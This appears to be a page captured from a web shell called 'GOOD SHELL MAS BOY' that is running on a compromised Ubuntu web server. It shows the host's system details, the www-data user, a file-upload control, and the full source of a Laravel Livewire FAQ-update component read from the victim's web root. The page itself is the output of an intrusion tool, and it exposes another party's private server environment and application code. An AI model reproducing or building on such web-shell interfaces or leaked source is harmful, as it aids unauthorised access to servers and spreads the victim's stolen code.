GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Faq/Update.php
<?php

namespace App\Livewire\Faq;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;

class Update extends Component
{
    public $faq;
    public $gigs = [];
    public $uuid;
    public $user_id;
    public $answer;
    public $question;
    public $status;
    public $gig_id;

    public function mount($uuid)
    {
        $this->uuid = $uuid;
        $this->queryFaq();
        $this->user_id = $this->faq['user_id'];
        $this->gigs = DB::table('gigs')
            ->where('user_id', $this->user_id)
            ->get();
        $this->answer = $this->faq['answer'];
        $this->question = $this->faq['question'];
        $this->gig_id = $this->faq['gig_id'];
        $this->status = $this->faq['status'];
    }

    public function queryFaq()
    {
        try {
            $body = [
                "uuid" => $this->uuid,
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->get(ApiEndpoints::queryFaq());
            if ($response->successful()) {
                $this->faq = $response->json()['data'];
            } else {
                Log::error("Failed to fetch gig faq. Status code: {$response->getMessage()}");
                $this->addError('orders', 'Failed to fetch gig faq. Please try again later.');
            }
        } catch (\Throwable $e) {
            Log::error($e->getMessage());
            $this->addError('orders', 'Failed to fetch gig faq. Please try again later.');
        }
    }

    public function updateGigFaq()
    {
        try {
            // dd('Hi');
            $body = [
                'uuid' => $this->uuid,
                'answer' => $this->answer,
                'question' => $this->question,
                'status' => $this->status,
                'gig_id' => $this->gig_id,
                'updated_at' => now(),
            ];
            // dd($body);
            DB::table('gig_faqs')->where('uuid', $this->uuid)->update($body);

            session()->flash('success', 'Service FAQ successfully updated.');
            return redirect('/dashboard-faqs');
        } catch (\Throwable $th) {
            Log::error($th->getMessage());
            $this->addError('answer', 'Unable to update Service FAQ');
        }
    }
   

    public function render()
    {
        return view('livewire.faq.update');
    }
}